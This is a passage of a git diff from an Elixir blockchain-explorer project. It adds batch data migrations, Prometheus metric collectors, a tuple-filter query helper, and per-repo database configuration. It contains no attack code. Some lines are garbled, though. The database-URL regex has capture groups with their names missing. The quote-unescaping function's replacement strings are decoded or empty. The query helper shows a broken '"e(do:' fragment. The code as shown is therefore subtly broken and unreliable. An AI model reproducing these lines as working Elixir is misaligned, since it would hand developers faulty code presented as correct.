smart_contract.address_hash, + where: address.verified == false or is_nil(address.verified) + ) + end + + def last_unprocessed_identifiers do + limit = batch_size() * concurrency() + + unprocessed_data_query() + |> select([a], a.hash) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + end + + def update_batch(address_hashes) do + query = + from(address in Address, + where: address.hash in ^address_hashes, + update: [set: [verified: true]] + ) + + Repo.update_all(query, [], timeout: :infinity) + end + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_) do + {:ok, %{}, {:continue, :ok}} + end + + # Called once when the GenServer starts to initialize the migration process by + # checking its current status and taking appropriate action. + # + # ## Parameters + # - `state`: The current state of the GenServer + # + # ## Returns + # - `{:stop, :normal, state}` if migration is completed + # - `{:noreply, state}` to continue with migration, where state is restored + # from the previous run or initialized as empty map + @impl true + def handle_continue(:ok, state) do + should_start? = unprocessed_data_query() |> Repo.exists?() + + if should_start? do + schedule_batch_migration(0) + {:noreply, %{}} + else + update_cache() + {:stop, :normal, state} + end + end + + # Processes a batch of unprocessed identifiers for migration. + # + # Retrieves the next batch of unprocessed identifiers and processes them in + # parallel. If no identifiers remain, completes the migration. Otherwise, + # processes the batch and continues migration. + # + # When identifiers are found, the function splits them into chunks and + # processes each chunk by spawning a task that calls update_batch. It waits + # for all tasks to complete with no timeout limit. After processing, it + # checkpoints the state to allow using it after restart, then schedules the + # next batch processing using the configured timeout from the application + # config (defaults to 0ms if not set). + # + # When no more identifiers are found, the process is simply stopped. + # + # ## Parameters + # - `state`: Current migration state containing progress information + # + # ## Returns + # - `{:stop, :normal, new_state}` when migration is complete + # - `{:noreply, new_state}` when more batches remain to be processed + @impl true + def handle_info(:migrate_batch, _state) do + case last_unprocessed_identifiers() do + [] -> + update_cache() + {:stop, :normal, %{}} + + identifiers -> + identifiers + |> Enum.chunk_every(batch_size()) + |> Enum.map(&run_task/1) + |> Task.await_many(:infinity) + + schedule_batch_migration() + + {:noreply, %{}} + end + end + + @spec run_task([any()]) :: any() + defp run_task(batch), do: Task.async(fn -> update_batch(batch) end) + + # Schedules the next batch migration by sending a delayed :migrate_batch message. + # + # ## Parameters + # - `timeout`: Optional delay in milliseconds before sending the message. If nil, + # uses the configured timeout from application config, defaulting to 0. + # + # ## Returns + # - Reference to the scheduled timer + @spec schedule_batch_migration(timeout :: non_neg_integer | nil) :: reference() + defp schedule_batch_migration(timeout \\ nil) do + Process.send_after( + self(), + :migrate_batch, + timeout || Application.get_env(:explorer, __MODULE__)[:timeout] + ) + end + + @spec update_cache() :: :ok + defp update_cache do + BackgroundMigrations.set_sanitize_verified_addresses_finished(true) + end + + @spec batch_size() :: non_neg_integer() + defp batch_size do + Application.get_env(:explorer, __MODULE__)[:batch_size] + end + + @spec concurrency() :: non_neg_integer() + defp concurrency do + Application.get_env(:explorer, __MODULE__)[:concurrency] + end +end diff --git a/apps/explorer/lib/explorer/migrator/shrink_internal_transactions.ex b/apps/explorer/lib/explorer/migrator/shrink_internal_transactions.ex new file mode 100644 index 000000000000..29d8f6565b83 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/shrink_internal_transactions.ex @@ -0,0 +1,63 @@ +defmodule Explorer.Migrator.ShrinkInternalTransactions do + @moduledoc """ + Removes the content of output field and leaves first 4 bytes signature in input field in internal transactions. + This migration is disabled unless SHRINK_INTERNAL_TRANSACTIONS_ENABLED env variable is set to true. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.{Block, InternalTransaction} + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "shrink_internal_transactions" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(%{"max_block_number" => -1} = state), do: {[], state} + + def last_unprocessed_identifiers(%{"max_block_number" => from_block_number} = state) do + limit = batch_size() * concurrency() + to_block_number = max(from_block_number - limit + 1, 0) + + {Enum.to_list(from_block_number..to_block_number), %{state | "max_block_number" => to_block_number - 1}} + end + + def last_unprocessed_identifiers(state) do + query = + from( + it in InternalTransaction, + where: fragment("length(?) > 4", it.input) or not is_nil(it.output), + select: max(it.block_number) + ) + + max_block_number = Repo.one(query, timeout: :infinity) + + state + |> Map.put("max_block_number", max_block_number || -1) + |> last_unprocessed_identifiers() + end + + @impl FillingMigration + def unprocessed_data_query, do: nil + + @impl FillingMigration + def update_batch(block_numbers) do + block_hashes_query = from(b in Block, where: b.number in ^block_numbers, select: b.hash) + + query = + from(it in InternalTransaction, + where: it.block_hash in subquery(block_hashes_query), + update: [set: [input: fragment("substring(? FOR 4)", it.input), output: nil]] + ) + + Repo.update_all(query, [], timeout: :infinity) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/smart_contract_language.ex b/apps/explorer/lib/explorer/migrator/smart_contract_language.ex new file mode 100644 index 000000000000..c9967cc767cf --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/smart_contract_language.ex @@ -0,0 +1,73 @@ +defmodule Explorer.Migrator.SmartContractLanguage do + @moduledoc """ + Backfills the smart contract language field for getting rid of + is_vyper_contract/is_yul bool flags + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Ecto.Enum + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.SmartContract + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "smart_contract_language" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([sc], sc.address_hash) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from(sc in SmartContract, where: is_nil(sc.language)) + end + + @impl FillingMigration + def update_batch(address_hashes) do + mappings = + SmartContract + |> Enum.mappings(:language) + |> Map.new() + + SmartContract + |> where([sc], sc.address_hash in ^address_hashes) + |> update( + set: [ + language: + fragment( + """ + CASE + WHEN is_vyper_contract THEN ?::smallint + WHEN abi IS NULL THEN ?::smallint + ELSE ?::smallint + END + """, + ^mappings.vyper, + ^mappings.yul, + ^mappings.solidity + ) + ] + ) + |> Repo.update_all([], timeout: :infinity) + end + + @impl FillingMigration + def update_cache do + BackgroundMigrations.set_smart_contract_language_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/switch_pending_operations.ex b/apps/explorer/lib/explorer/migrator/switch_pending_operations.ex new file mode 100644 index 000000000000..52b623d25cb7 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/switch_pending_operations.ex @@ -0,0 +1,22 @@ +defmodule Explorer.Migrator.SwitchPendingOperations do + @moduledoc false + + use GenServer, restart: :transient + + alias Explorer.Chain.PendingOperationsHelper + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_) do + {:ok, %{}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, state) do + PendingOperationsHelper.maybe_transfuse_data() + {:stop, :normal, state} + end +end diff --git a/apps/explorer/lib/explorer/migrator/token_transfer_block_consensus.ex b/apps/explorer/lib/explorer/migrator/token_transfer_block_consensus.ex new file mode 100644 index 000000000000..2513c2a3716e --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/token_transfer_block_consensus.ex @@ -0,0 +1,54 @@ +defmodule Explorer.Migrator.TokenTransferBlockConsensus do + @moduledoc """ + Fixes token transfers block_consensus field + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.TokenTransfer + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "token_transfers_block_consensus" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([tt], {tt.transaction_hash, tt.block_hash, tt.log_index}) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from( + tt in TokenTransfer, + join: block in assoc(tt, :block), + where: tt.block_consensus != block.consensus + ) + end + + @impl FillingMigration + def update_batch(token_transfer_ids) do + query = + token_transfer_ids + |> TokenTransfer.by_ids_query() + |> join(:inner, [tt], b in assoc(tt, :block)) + |> update([tt, b], set: [block_consensus: b.consensus]) + + Repo.update_all(query, [], timeout: :infinity) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/token_transfer_token_type.ex b/apps/explorer/lib/explorer/migrator/token_transfer_token_type.ex new file mode 100644 index 000000000000..af8d9f74b9fc --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/token_transfer_token_type.ex @@ -0,0 +1,70 @@ +defmodule Explorer.Migrator.TokenTransferTokenType do + @moduledoc """ + Migrates all token_transfers to have set token_type + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.TokenTransfer + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "tt_denormalization" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([tt], {tt.transaction_hash, tt.block_hash, tt.log_index}) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from(tt in TokenTransfer, where: is_nil(tt.token_type)) + end + + @impl FillingMigration + def update_batch(token_transfer_ids) do + query = + token_transfer_ids + |> TokenTransfer.by_ids_query() + |> join(:inner, [tt], b in assoc(tt, :block)) + |> join(:inner, [tt, b], t in assoc(tt, :token)) + |> update([tt, b, t], + set: [ + block_consensus: b.consensus, + token_type: + fragment( + """ + CASE WHEN ? = 'ERC-1155' AND ? IS NULL + THEN 'ERC-20' + ELSE ? + END + """, + t.type, + tt.token_ids, + t.type + ) + ] + ) + + Repo.update_all(query, [], timeout: :infinity) + end + + @impl FillingMigration + def update_cache do + BackgroundMigrations.set_tt_denormalization_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/transaction_block_consensus.ex b/apps/explorer/lib/explorer/migrator/transaction_block_consensus.ex new file mode 100644 index 000000000000..6024b10fba35 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/transaction_block_consensus.ex @@ -0,0 +1,55 @@ +defmodule Explorer.Migrator.TransactionBlockConsensus do + @moduledoc """ + Fixes transactions block_consensus field + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Transaction + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "transactions_block_consensus" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([t], t.hash) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from( + transaction in Transaction, + join: block in assoc(transaction, :block), + where: transaction.block_consensus != block.consensus + ) + end + + @impl FillingMigration + def update_batch(transaction_hashes) do + query = + from(transaction in Transaction, + join: block in assoc(transaction, :block), + where: transaction.hash in ^transaction_hashes, + update: [set: [block_consensus: block.consensus]] + ) + + Repo.update_all(query, [], timeout: :infinity) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/transactions_denormalization.ex b/apps/explorer/lib/explorer/migrator/transactions_denormalization.ex new file mode 100644 index 000000000000..26c5e33804f5 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/transactions_denormalization.ex @@ -0,0 +1,56 @@ +defmodule Explorer.Migrator.TransactionsDenormalization do + @moduledoc """ + Migrates all transactions to have set block_consensus and block_timestamp + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.Transaction + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "denormalization" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([t], t.hash) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from(t in Transaction, + where: not is_nil(t.block_hash) and (is_nil(t.block_consensus) or is_nil(t.block_timestamp)) + ) + end + + @impl FillingMigration + def update_batch(transaction_hashes) do + query = + from(transaction in Transaction, + join: block in assoc(transaction, :block), + where: transaction.hash in ^transaction_hashes, + update: [set: [block_consensus: block.consensus, block_timestamp: block.timestamp]] + ) + + Repo.update_all(query, [], timeout: :infinity) + end + + @impl FillingMigration + def update_cache do + BackgroundMigrations.set_transactions_denormalization_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/unescape_quotes_in_tokens.ex b/apps/explorer/lib/explorer/migrator/unescape_quotes_in_tokens.ex new file mode 100644 index 000000000000..1abd084c6c83 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/unescape_quotes_in_tokens.ex @@ -0,0 +1,67 @@ +defmodule Explorer.Migrator.UnescapeQuotesInTokens do + @moduledoc """ + Unescapes single and double quotes in `name` and `symbol` token fields + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Token + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "unescape_quotes_in_tokens" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([t], t.contract_address_hash) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + where(Token, [t], fragment("? ~ E'('|")' or ? ~ E'('|")'", t.name, t.symbol)) + end + + @impl FillingMigration + def update_batch(contract_address_hashes) do + params = + Token + |> where([t], t.contract_address_hash in ^contract_address_hashes) + |> Repo.all() + |> Enum.map(fn token -> + %{ + contract_address_hash: token.contract_address_hash, + name: do_unescape(token.name), + symbol: do_unescape(token.symbol), + type: token.type, + inserted_at: token.inserted_at, + updated_at: token.updated_at + } + end) + + Repo.insert_all(Token, params, on_conflict: {:replace, [:name, :symbol]}, conflict_target: :contract_address_hash) + end + + @impl FillingMigration + def update_cache, do: :ok + + defp do_unescape(nil), do: nil + + defp do_unescape(string) do + string + |> String.replace(""", "\"") + |> String.replace("'", "'") + end +end diff --git a/apps/explorer/lib/explorer/paging_options.ex b/apps/explorer/lib/explorer/paging_options.ex index 9af5b6bd6b03..08239758abc9 100644 --- a/apps/explorer/lib/explorer/paging_options.ex +++ b/apps/explorer/lib/explorer/paging_options.ex @@ -8,17 +8,37 @@ defmodule Explorer.PagingOptions do key: key, page_size: page_size, page_number: page_number, - is_pending_tx: is_pending_tx, + is_pending_transaction: is_pending_transaction, is_index_in_asc_order: is_index_in_asc_order, - asc_order: asc_order + asc_order: asc_order, + batch_key: batch_key } @typep key :: any() - @typep page_size :: non_neg_integer() + @typep page_size :: non_neg_integer() | nil @typep page_number :: pos_integer() - @typep is_pending_tx :: atom() + @typep is_pending_transaction :: atom() @typep is_index_in_asc_order :: atom() @typep asc_order :: atom() + @typep batch_key :: any() - defstruct [:key, :page_size, page_number: 1, is_pending_tx: false, is_index_in_asc_order: false, asc_order: false] + defstruct [ + :key, + :page_size, + page_number: 1, + is_pending_transaction: false, + is_index_in_asc_order: false, + asc_order: false, + batch_key: nil + ] + + @page_size 50 + + def page_size do + @page_size + end + + def default_paging_options do + %__MODULE__{page_size: @page_size + 1} + end end diff --git a/apps/explorer/lib/explorer/prometheus/collector/active_db_connections.ex b/apps/explorer/lib/explorer/prometheus/collector/active_db_connections.ex new file mode 100644 index 000000000000..24ea428651f0 --- /dev/null +++ b/apps/explorer/lib/explorer/prometheus/collector/active_db_connections.ex @@ -0,0 +1,50 @@ +defmodule Explorer.Prometheus.Collector.ActiveDbConnections do + @moduledoc """ + Custom collector to count number of currently active DB connections. + """ + + use Prometheus.Collector + + alias Prometheus.Model + + def collect_mf(_registry, callback) do + callback.(create_gauge(:active_db_connections, "Number of active DB connections", get_active_connections_count())) + end + + def collect_metrics(:active_db_connections, count) do + Model.gauge_metrics([{count}]) + end + + defp create_gauge(name, help, data) do + Model.create_mf(name, help, :gauge, __MODULE__, data) + end + + defp get_active_connections_count do + :explorer + |> Application.get_env(:ecto_repos) + |> Enum.reduce(0, fn repo, count -> + repo_count = + case Process.whereis(repo) do + nil -> + 0 + + _pid -> + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + repo_params = Ecto.Repo.Registry.lookup(repo) + pool = repo_params.pid + pool_size = repo_params.opts[:pool_size] + ready_connections_count = get_ready_connections_count(pool) + + pool_size - ready_connections_count + end + + count + repo_count + end) + end + + defp get_ready_connections_count(pool) do + pool + |> DBConnection.get_connection_metrics() + |> Enum.reduce(0, fn %{ready_conn_count: ready_conn_count}, acc -> ready_conn_count + acc end) + end +end diff --git a/apps/explorer/lib/explorer/prometheus/instrumenter.ex b/apps/explorer/lib/explorer/prometheus/instrumenter.ex new file mode 100644 index 000000000000..397e5de88fca --- /dev/null +++ b/apps/explorer/lib/explorer/prometheus/instrumenter.ex @@ -0,0 +1,218 @@ +defmodule Explorer.Prometheus.Instrumenter do + @moduledoc """ + Blocks fetch and import metrics for `Prometheus`. + """ + + use Prometheus.Metric + + @histogram [ + name: :block_import_stage_runner_duration_microseconds, + labels: [:stage, :runner, :step], + buckets: [1000, 5000, 10000, 100_000], + duration_unit: :microseconds, + help: "Block import stage, runner and step in runner processing time" + ] + + @histogram [ + name: :media_processing_time, + buckets: :default, + duration_unit: :seconds, + help: "Time in seconds taken for media resizing and uploading" + ] + + @gauge [ + name: :success_transactions_number, + help: "Number of successful transactions in the period (default is 1 day)", + registry: :public + ] + + @gauge [ + name: :deployed_smart_contracts_number, + help: + "Number of deployed smart-contracts (smart-contracts from internal transactions are not accounted) in the period (default is 1 day)", + registry: :public + ] + + @gauge [ + name: :verified_smart_contracts_number, + help: "Number of verified smart-contracts in the period (default is 1 day)", + registry: :public + ] + + @gauge [ + name: :new_addresses_number, + help: "Number of new wallet addresses in the period (default is 1 day)", + registry: :public + ] + + @gauge [ + name: :new_tokens_number, + help: "Number of new tokens detected in the period (default is 1 day)", + registry: :public + ] + + @gauge [ + name: :new_token_transfers_number, + help: "Number of new token transfers detected in the period (default is 1 day)", + registry: :public + ] + + @gauge [ + name: :active_addresses_number, + help: "Number of active EOA addresses (participated in transactions in to/from) in the period (default is 1 day)", + registry: :public + ] + + @counter [ + name: :successfully_uploaded_media_number, + help: "Number of successfully uploaded media to CDN", + registry: :public + ] + + @counter [ + name: :failed_uploading_media_number, + help: "Number of failed uploading media to CDN", + registry: :public + ] + + @gauge [name: :batch_average_time, help: "L2 average batch time"] + + def block_import_stage_runner(function, stage, runner, step) do + {time, result} = :timer.tc(function) + + Histogram.observe([name: :block_import_stage_runner_duration_microseconds, labels: [stage, runner, step]], time) + + result + end + + def success_transactions_number(number) do + Gauge.set([name: :success_transactions_number, registry: :public], number) + end + + def media_processing_time(seconds) do + Histogram.observe([name: :media_processing_time], seconds) + end + + def weekly_success_transactions_number(number) do + Gauge.set([name: :weekly_success_transactions_number, registry: :public], number) + end + + def deployed_smart_contracts_number(number) do + Gauge.set([name: :deployed_smart_contracts_number, registry: :public], number) + end + + def verified_smart_contracts_number(number) do + Gauge.set([name: :verified_smart_contracts_number, registry: :public], number) + end + + def new_addresses_number(number) do + Gauge.set([name: :new_addresses_number, registry: :public], number) + end + + def new_tokens_number(number) do + Gauge.set([name: :new_tokens_number, registry: :public], number) + end + + def new_token_transfers_number(number) do + Gauge.set([name: :new_token_transfers_number, registry: :public], number) + end + + def simplified_active_addresses_number(number) do + Gauge.set([name: :active_addresses_number, registry: :public], number) + end + + def increment_successfully_uploaded_media_number do + Counter.inc(name: :successfully_uploaded_media_number, registry: :public) + end + + def increment_failed_uploading_media_number do + Counter.inc(name: :failed_uploading_media_number, registry: :public) + end + + defp batch_average_time(average_time) do + Gauge.set([name: :batch_average_time], average_time) + end + + @doc """ + Prepares a batch metric from a list of batch data. + + ## Parameters + + - `batches`: A list of maps, where each map represents a batch with the following keys: + - `:number` (integer): The batch number. + - `:timestamp` (DateTime.t): The timestamp of the batch. + + ## Returns + + - `{:ok, %{latest_batch_number: integer, latest_batch_timestamp: DateTime.t(), average_batch_time: integer}}`: + - `:latest_batch_number`: The number of the latest batch. + - `:latest_batch_timestamp`: The timestamp of the latest batch. + - `:average_batch_time`: The average time in seconds between batches, or `0` if there is only one batch. + - `{:error, :not_found}`: If the input list of batches is empty. + + ## Examples + + - When the list of batches is empty: + ```elixir + prepare_batch_metric([]) + # => {:error, :not_found} + ``` + + - When the list contains a single batch: + ```elixir + prepare_batch_metric([%{number: 1, timestamp: ~U[2023-01-01T00:00:00Z]}]) + # => {:ok, %{latest_batch_number: 1, latest_batch_timestamp: ~U[2023-01-01T00:00:00Z], average_batch_time: 0}} + ``` + + - When the list contains multiple batches: + ```elixir + prepare_batch_metric([ + %{number: 3, timestamp: ~U[2023-01-01T00:02:00Z]}, + %{number: 2, timestamp: ~U[2023-01-01T00:01:00Z]}, + %{number: 1, timestamp: ~U[2023-01-01T00:00:00Z]} + ]) + # => {:ok, %{latest_batch_number: 3, latest_batch_timestamp: ~U[2023-01-01T00:02:00Z], average_batch_time: 60}} + ``` + """ + @spec prepare_batch_metric([%{number: integer, timestamp: DateTime.t()}]) :: + {:ok, + %{ + latest_batch_number: integer, + latest_batch_timestamp: DateTime.t(), + average_batch_time: integer + }} + | {:error, :not_found} + def prepare_batch_metric(batches) do + case batches do + [] -> + {:error, :not_found} + + [batch] -> + batch_average_time(0) + + { + :ok, + %{ + latest_batch_number: batch.number, + latest_batch_timestamp: batch.timestamp, + average_batch_time: 0 + } + } + + batches -> + latest_batch = List.first(batches) + older_batch = List.last(batches) + average_time = div(DateTime.diff(latest_batch.timestamp, older_batch.timestamp, :second), length(batches) - 1) + batch_average_time(average_time) + + { + :ok, + %{ + latest_batch_number: latest_batch.number, + latest_batch_timestamp: latest_batch.timestamp, + average_batch_time: average_time + } + } + end + end +end diff --git a/apps/explorer/lib/explorer/query_helper.ex b/apps/explorer/lib/explorer/query_helper.ex new file mode 100644 index 000000000000..d4c5e96fe8f6 --- /dev/null +++ b/apps/explorer/lib/explorer/query_helper.ex @@ -0,0 +1,41 @@ +defmodule Explorer.QueryHelper do + @moduledoc """ + Helping functions for `Ecto.Query` building. + """ + + import Ecto.Query + + @doc """ + Generates a fragment for multi column filtering. + + ## Example + + This clause + `where: ^QueryHelper.tuple_in([:address_hash, :token_contract_address_hash, :token_id], ids)` + will be transformed to such SQL: + `WHERE (address_hash, token_contract_address_hash, token_id) IN ((*hash_bytes*, *hash_bytes*, *token_id*), ...)` + """ + @spec tuple_in([atom()], [any()]) :: any() + def tuple_in(_fields, []), do: false + + # sobelow_skip ["RCE.CodeModule"] + def tuple_in(fields, values) do + fields = Enum.map(fields, "e(do: field(x, unquote(&1)))) + values = for v <- values, do: quote(do: fragment("(?)", splice(^unquote(Macro.escape(Tuple.to_list(v)))))) + field_params = Enum.map_join(fields, ",", fn _ -> "?" end) + value_params = Enum.map_join(values, ",", fn _ -> "?" end) + pattern = "(#{field_params}) in (#{value_params})" + + dynamic_quote = + quote do + dynamic( + [x], + fragment(unquote(pattern), unquote_splicing(fields), unquote_splicing(values)) + ) + end + + dynamic_quote + |> Code.eval_quoted() + |> elem(0) + end +end diff --git a/apps/explorer/lib/explorer/repo.ex b/apps/explorer/lib/explorer/repo.ex index 14a48d9d335b..17c445d7bca9 100644 --- a/apps/explorer/lib/explorer/repo.ex +++ b/apps/explorer/lib/explorer/repo.ex @@ -12,21 +12,7 @@ defmodule Explorer.Repo do DATABASE_URL environment variable. """ def init(_, opts) do - db_url = System.get_env("DATABASE_URL") - repo_conf = Application.get_env(:explorer, Explorer.Repo) - - merged = - %{url: db_url} - |> ConfigHelper.get_db_config() - |> Keyword.merge(repo_conf, fn - _key, v1, nil -> v1 - _key, nil, v2 -> v2 - _, _, v2 -> v2 - end) - - Application.put_env(:explorer, Explorer.Repo, merged) - - {:ok, Keyword.put(opts, :url, db_url)} + ConfigHelper.init_repo_module(__MODULE__, opts) end def logged_transaction(fun_or_multi, opts \\ []) do @@ -125,13 +111,58 @@ defmodule Explorer.Repo do if Mix.env() == :test do def replica, do: __MODULE__ else - def replica, do: Explorer.Repo.Replica1 + def replica, do: (Application.get_env(:explorer, :replica_inaccessible?) && Explorer.Repo) || replica_repo() end + def replica_repo, do: Explorer.Repo.Replica1 + + def account_repo, do: Explorer.Repo.Account + defmodule Replica1 do use Ecto.Repo, otp_app: :explorer, adapter: Ecto.Adapters.Postgres, read_only: true + + def init(_, opts) do + ConfigHelper.init_repo_module(__MODULE__, opts) + end + end + + for repo <- [ + # Feature dependent repos + Explorer.Repo.Account, + Explorer.Repo.BridgedTokens, + Explorer.Repo.ShrunkInternalTransactions, + Explorer.Repo.EventNotifications, + + # Chain-type dependent repos + Explorer.Repo.Arbitrum, + Explorer.Repo.Beacon, + Explorer.Repo.Blackfort, + Explorer.Repo.Celo, + Explorer.Repo.Filecoin, + Explorer.Repo.Mud, + Explorer.Repo.Optimism, + Explorer.Repo.PolygonEdge, + Explorer.Repo.PolygonZkevm, + Explorer.Repo.RSK, + Explorer.Repo.Scroll, + Explorer.Repo.Shibarium, + Explorer.Repo.Stability, + Explorer.Repo.Suave, + Explorer.Repo.Zilliqa, + Explorer.Repo.ZkSync, + Explorer.Repo.Neon + ] do + defmodule repo do + use Ecto.Repo, + otp_app: :explorer, + adapter: Ecto.Adapters.Postgres + + def init(_, opts) do + ConfigHelper.init_repo_module(__MODULE__, opts) + end + end end end diff --git a/apps/explorer/lib/explorer/repo/config_helper.ex b/apps/explorer/lib/explorer/repo/config_helper.ex index 3f60a1b19969..a2679e38af80 100644 --- a/apps/explorer/lib/explorer/repo/config_helper.ex +++ b/apps/explorer/lib/explorer/repo/config_helper.ex @@ -4,7 +4,7 @@ defmodule Explorer.Repo.ConfigHelper do Notably, this module processes the DATABASE_URL environment variable and extracts discrete parameters. - The priority of vars is postgrex environment vars < DATABASE_URL components, with values being overwritted by higher priority. + The priority of vars is postgrex environment vars < DATABASE_URL components, with values being overwritten by higher priority. """ # https://hexdocs.pm/postgrex/Postgrex.html#start_link/1-options @@ -17,7 +17,8 @@ defmodule Explorer.Repo.ConfigHelper do ] def get_db_config(opts) do - url = opts[:url] || System.get_env("DATABASE_URL") + url_encoded = opts[:url] + url = url_encoded && URI.decode(url_encoded) env_function = opts[:env_func] || (&System.get_env/1) @postgrex_env_vars @@ -25,14 +26,78 @@ defmodule Explorer.Repo.ConfigHelper do |> Keyword.merge(extract_parameters(url)) end - defp extract_parameters(empty) when empty == nil or empty == "", do: [] + def get_account_db_url, do: System.get_env("ACCOUNT_DATABASE_URL") || System.get_env("DATABASE_URL") + + def get_suave_db_url, do: System.get_env("SUAVE_DATABASE_URL") || System.get_env("DATABASE_URL") + + def get_api_db_url, do: System.get_env("DATABASE_READ_ONLY_API_URL") || System.get_env("DATABASE_URL") + + def get_mud_db_url, do: System.get_env("MUD_DATABASE_URL") || System.get_env("DATABASE_URL") + + def get_event_notification_db_url, do: System.get_env("DATABASE_EVENT_URL") || System.get_env("DATABASE_URL") + + def init_repo_module(module, opts) do + db_url = Application.get_env(:explorer, module)[:url] + repo_conf = Application.get_env(:explorer, module) + + merged = + %{url: db_url} + |> get_db_config() + |> Keyword.merge(repo_conf, fn + _key, v1, nil -> v1 + _key, nil, v2 -> v2 + _, _, v2 -> v2 + end) + + Application.put_env(:explorer, module, merged) + + {:ok, opts |> Keyword.put(:url, remove_search_path(db_url)) |> Keyword.merge(Keyword.take(merged, [:search_path]))} + end + + def ssl_enabled?, do: String.equivalent?(System.get_env("ECTO_USE_SSL") || "true", "true") + + def extract_parameters(empty) when empty == nil or empty == "", do: [] # sobelow_skip ["DOS.StringToAtom"] - defp extract_parameters(database_url) do - ~r/\w*:\/\/(?\w+):(?[a-zA-Z0-9-*#!%^&$_]*)?@(?(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])):(?\d+)\/(?[a-zA-Z0-9_-]*)/ + def extract_parameters(database_url) do + ~r/\w*:\/\/(?[a-zA-Z0-9_-]*):(?[a-zA-Z0-9-*#!%^&$_.]*)?@(?(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])):(?\d+)\/(?[a-zA-Z0-9_\-]*)(\?.*search_path=(?[a-zA-Z0-9_\-,]+))?/ |> Regex.named_captures(database_url) |> Keyword.new(fn {k, v} -> {String.to_atom(k), v} end) |> Keyword.put(:url, database_url) + |> adjust_search_path() + end + + defp adjust_search_path(params) do + case params[:search_path] do + empty when empty in [nil, ""] -> Keyword.delete(params, :search_path) + [_search_path] -> params + search_path -> Keyword.put(params, :search_path, [search_path]) + end + end + + # Workaround for Ecto.Repo init. + # It takes parameters from the url in priority over provided options (as strings) + # while Postgrex expects search_path to be a list + # which means that it will always crash if there is a search_path parameter in DB url. + # That's why we need to remove this parameter from DB url before passing it to Ecto. + defp remove_search_path(nil), do: nil + + defp remove_search_path(db_url) do + case URI.parse(db_url) do + %{query: nil} -> + db_url + + %{query: query} = uri -> + 